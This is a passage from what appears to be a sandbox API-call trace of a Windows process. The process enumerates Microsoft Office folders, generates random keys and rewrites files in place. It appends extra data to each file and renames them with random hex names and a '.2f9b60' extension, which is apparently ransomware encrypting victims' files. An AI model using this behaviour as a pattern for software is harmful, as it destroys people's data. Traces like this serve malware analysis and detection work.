NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\16e63a6c49ae.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431f3e80 Thread: id = 2570 os_tid = 0x2094 [0155.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1ce242a0 [0155.709] wcscpy (in: _Dest=0x1ce242a0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" [0155.709] wcscat (in: _Dest=0x1ce242a0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\" [0155.709] wcscat (in: _Dest=0x1ce242a0, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*" [0155.709] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99930 [0155.709] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\*", lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced5a40 [0155.710] wcscmp (_String1=".", _String2=".") returned 0 [0155.710] FindNextFileW (in: hFindFile=0x1ced5a40, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x504da6a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x504da6a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.710] wcscmp (_String1="..", _String2=".") returned 1 [0155.710] wcscmp (_String1="..", _String2="..") returned 0 [0155.710] FindNextFileW (in: hFindFile=0x1ced5a40, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0155.710] wcscmp (_String1="1033", _String2=".") returned 1 [0155.710] wcscmp (_String1="1033", _String2="..") returned 1 [0155.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ced2f50 [0155.711] wcscpy (in: _Dest=0x1ced2f50, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content" [0155.711] wcscat (in: _Dest=0x1ced2f50, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\" [0155.711] wcscat (in: _Dest=0x1ced2f50, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033" [0158.831] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ced2f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1244 [0158.832] FindNextFileW (in: hFindFile=0x1ced5a40, lpFindFileData=0x1cd99930 | out: lpFindFileData=0x1cd99930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x504da6a0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x52203420, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x52203420, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0158.832] FindClose (in: hFindFile=0x1ced5a40 | out: hFindFile=0x1ced5a40) returned 1 [0158.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd99930) returned 1 [0158.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce242a0) returned 1 [0158.833] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59f30) returned 1 Thread: id = 2571 os_tid = 0x2098 [0155.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.manifest")) returned 0x20 [0155.713] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest", dwFileAttributes=0x20) returned 1 [0155.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\visio.exe.manifest" (normalized: "c:\\program files\\microsoft office\\office14\\visio.exe.manifest"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1204 [0155.715] GetFileSizeEx (in: hFile=0x1204, lpFileSize=0x3280fce0 | out: lpFileSize=0x3280fce0*=1217) returned 1 [0155.715] SetFilePointerEx (in: hFile=0x1204, liDistanceToMove=0x4bd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.715] ReadFile (in: hFile=0x1204, lpBuffer=0x3280fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3280fca8, lpOverlapped=0x0 | out: lpBuffer=0x3280fc60*, lpNumberOfBytesRead=0x3280fca8*=0x4, lpOverlapped=0x0) returned 1 [0155.809] SetFilePointerEx (in: hFile=0x1204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb570 [0155.809] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb600 [0155.809] NtQuerySystemTime (in: CurrentTime=0x3280fba0 | out: CurrentTime=0x3280fba0*=132462177609370000) returned 0x0 [0155.809] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x2973e8eb [0155.809] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x7619e709 [0155.809] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x7842286a [0155.809] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x3311137f [0155.809] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x322dc111 [0155.809] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x74874e5 [0155.809] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x66e4e1c3 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x4f3134a [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x774435a1 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x306511f [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x1db645c5 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x3f0497ea [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x2d2f221b [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x4240ebf5 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0xd30f44 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x45e59946 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x5703c4af [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x4e6f5ba5 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x5f8e6ed8 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x43e81fff [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x2751db77 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0xa56ccce [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x33364b21 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x107df246 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x402b70f4 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x4e8920e6 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x44f00196 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x3b1b3535 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x364e165b [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x6411ab63 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x74b4e094 [0155.810] RtlRandomEx (in: Seed=0x3280fb90 | out: Seed=0x3280fb90) returned 0x264db70c [0155.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb630 [0155.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24420 [0155.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb660 [0155.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24420) returned 1 [0155.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb600) returned 1 [0155.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce187d0 [0155.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24420 [0155.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.826] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.826] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429809e0 [0155.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429845f0 [0155.834] ReadFile (in: hFile=0x1204, lpBuffer=0x429809e0, nNumberOfBytesToRead=0x4c1, lpNumberOfBytesRead=0x3280fb90, lpOverlapped=0x0 | out: lpBuffer=0x429809e0*, lpNumberOfBytesRead=0x3280fb90*=0x4c1, lpOverlapped=0x0) returned 1 [0155.834] SetFilePointerEx (in: hFile=0x1204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.834] WriteFile (hFile=0x1204, lpBuffer=0x429845f0, nNumberOfBytesToWrite=0x4c1, lpNumberOfBytesWritten=0x3280fb94, lpOverlapped=0x0) [0186.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecabe0 [0186.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecac10 [0186.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecac10) returned 1 [0186.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429845f0) returned 1 [0186.743] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429809e0) returned 1 [0186.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24420) returned 1 [0186.744] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce187d0) returned 1 [0186.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5d130 [0186.744] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce187d0 [0186.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce24420 [0186.745] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecac10 [0186.745] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecac10) returned 1 [0186.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5d170 [0186.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecac10 [0186.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cecac40 [0186.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecac40) returned 1 [0186.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce24420) returned 1 [0186.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce187d0) returned 1 [0186.749] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x43101c80 [0186.750] SetFilePointerEx (in: hFile=0x1204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.750] WriteFile (in: hFile=0x1204, lpBuffer=0x43101c80*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3280fcb0, lpOverlapped=0x0 | out: lpBuffer=0x43101c80*, lpNumberOfBytesWritten=0x3280fcb0*=0x116, lpOverlapped=0x0) returned 1 [0200.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5be80 [0200.963] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d990 [0200.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262300 [0200.964] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262300) returned 1 [0200.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x20262300 [0200.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261b50 [0200.965] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261be0 [0200.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261be0) returned 1 [0200.966] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d990) returned 1 [0200.967] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5be80) returned 1 [0200.967] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1b859390 [0200.967] sprintf (in: _Dest=0x1b859390, _Format="%c%c" | out: _Dest="18") returned 2 [0200.967] sprintf (in: _Dest=0x1b859392, _Format="%c%c" | out: _Dest="1d") returned 2 [0200.967] sprintf (in: _Dest=0x1b859394, _Format="%c%c" | out: _Dest="36") returned 2 [0200.967] sprintf (in: _Dest=0x1b859396, _Format="%c%c" | out: _Dest="68") returned 2 [0200.967] sprintf (in: _Dest=0x1b859398, _Format="%c%c" | out: _Dest="d5") returned 2 [0200.967] sprintf (in: _Dest=0x1b85939a, _Format="%c%c" | out: _Dest="a3") returned 2 [0200.967] sprintf (in: _Dest=0x1b85939c, _Format="%c%c" | out: _Dest="22") returned 2 [0200.967] sprintf (in: _Dest=0x1b85939e, _Format="%c%c" | out: _Dest="97") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593a0, _Format="%c%c" | out: _Dest="e9") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593a2, _Format="%c%c" | out: _Dest="f0") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593a4, _Format="%c%c" | out: _Dest="2f") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593a6, _Format="%c%c" | out: _Dest="2f") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593a8, _Format="%c%c" | out: _Dest="9d") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593aa, _Format="%c%c" | out: _Dest="a9") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593ac, _Format="%c%c" | out: _Dest="dd") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593ae, _Format="%c%c" | out: _Dest="58") returned 2 [0200.967] sprintf (in: _Dest=0x1b8593b0, _Format="%c%c" | out: _Dest="29") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593b2, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593b4, _Format="%c%c" | out: _Dest="2d") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593b6, _Format="%c%c" | out: _Dest="ed") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593b8, _Format="%c%c" | out: _Dest="f9") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593ba, _Format="%c%c" | out: _Dest="5a") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593bc, _Format="%c%c" | out: _Dest="f5") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593be, _Format="%c%c" | out: _Dest="87") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593c0, _Format="%c%c" | out: _Dest="c4") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593c2, _Format="%c%c" | out: _Dest="41") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593c4, _Format="%c%c" | out: _Dest="88") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593c6, _Format="%c%c" | out: _Dest="50") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593c8, _Format="%c%c" | out: _Dest="4b") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593ca, _Format="%c%c" | out: _Dest="9a") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593cc, _Format="%c%c" | out: _Dest="89") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593ce, _Format="%c%c" | out: _Dest="b9") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593d0, _Format="%c%c" | out: _Dest="aa") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593d2, _Format="%c%c" | out: _Dest="55") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593d4, _Format="%c%c" | out: _Dest="c1") returned 2 [0200.968] sprintf (in: _Dest=0x1b8593d6, _Format="%c%c" | out: _Dest="4f") returned 2 [0200.968] RtlInitAnsiString (in: DestinationString=0x3280fd28, SourceString="181d3668d5a32297e9f02f2f9da9dd58299a2dedf95af587c44188504b9a89b9aa55c14f" | out: DestinationString="181d3668d5a32297e9f02f2f9da9dd58299a2dedf95af587c44188504b9a89b9aa55c14f") [0200.968] RtlAnsiStringToUnicodeString (in: DestinationString=0x3280fcf8, SourceString="181d3668d5a32297e9f02f2f9da9dd58299a2dedf95af587c44188504b9a89b9aa55c14f", AllocateDestinationString=1 | out: DestinationString="181d3668d5a32297e9f02f2f9da9dd58299a2dedf95af587c44188504b9a89b9aa55c14f") returned 0x0 [0200.968] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x431894e0 [0200.969] wcscat (in: _Dest=0x43189440, _Source="181d3668d5a32297e9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\181d3668d5a32297e9") returned="C:\\Program Files\\Microsoft Office\\Office14\\181d3668d5a32297e9" [0200.969] wcscat (in: _Dest=0x43189440, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\181d3668d5a32297e9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\181d3668d5a32297e9.2f9b60" [0200.969] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\181d3668d5a32297e9.2f9b60", NtPathName=0x3280fcd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\181d3668d5a32297e9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.969] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x431ebb10 Thread: id = 2572 os_tid = 0x209c [0155.724] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\visiocustom.propdesc")) returned 0x20 [0155.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc", dwFileAttributes=0x20) returned 1 [0155.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VisioCustom.propdesc" (normalized: "c:\\program files\\microsoft office\\office14\\visiocustom.propdesc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x8fc [0155.725] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x30abfb60 | out: lpFileSize=0x30abfb60*=1156) returned 1 [0155.726] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x480, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.726] ReadFile (in: hFile=0x8fc, lpBuffer=0x30abfae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30abfb28, lpOverlapped=0x0 | out: lpBuffer=0x30abfae0*, lpNumberOfBytesRead=0x30abfb28*=0x4, lpOverlapped=0x0) returned 1 [0155.848] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb690 [0155.848] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb720 [0155.848] NtQuerySystemTime (in: CurrentTime=0x30abfa20 | out: CurrentTime=0x30abfa20*=132462177609838000) returned 0x0 [0155.848] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x27cf4418 [0155.848] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x6ad5de4e [0155.848] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x7942b69e [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x34bba298 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x6431df3c [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x10e951d7 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x1298ebf2 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x6931f4ea [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x1a51040a [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x53eed763 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x263eb8e9 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x16386e36 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x34f6d88 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x2408ad6b [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x1e1f4721 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x4f983ea3 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x34956add [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x12c960cb [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x1934dac2 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x2e826d56 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x52d9d43c [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x1deba6dc [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x476377a6 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x1255867b [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x74228372 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x7b1f66a6 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x338bfca1 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x31094961 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x4519c248 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0xaeb9d50 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x5cd6f3d4 [0155.849] RtlRandomEx (in: Seed=0x30abfa10 | out: Seed=0x30abfa10) returned 0x7cf65e38 [0155.858] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb750 [0155.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0155.859] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb780 [0155.859] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce244a0) returned 1 [0155.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb720) returned 1 [0155.860] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18820 [0155.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce244a0 [0155.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddb3f0 [0155.861] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddb3f0) returned 1 [0155.861] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4298be10 [0155.862] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4298fa20 [0155.862] ReadFile (in: hFile=0x8fc, lpBuffer=0x4298be10, nNumberOfBytesToRead=0x484, lpNumberOfBytesRead=0x30abfa10, lpOverlapped=0x0 | out: lpBuffer=0x4298be10*, lpNumberOfBytesRead=0x30abfa10*=0x484, lpOverlapped=0x0) returned 1 [0155.862] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0155.862] WriteFile (in: hFile=0x8fc, lpBuffer=0x4298fa20*, nNumberOfBytesToWrite=0x484, 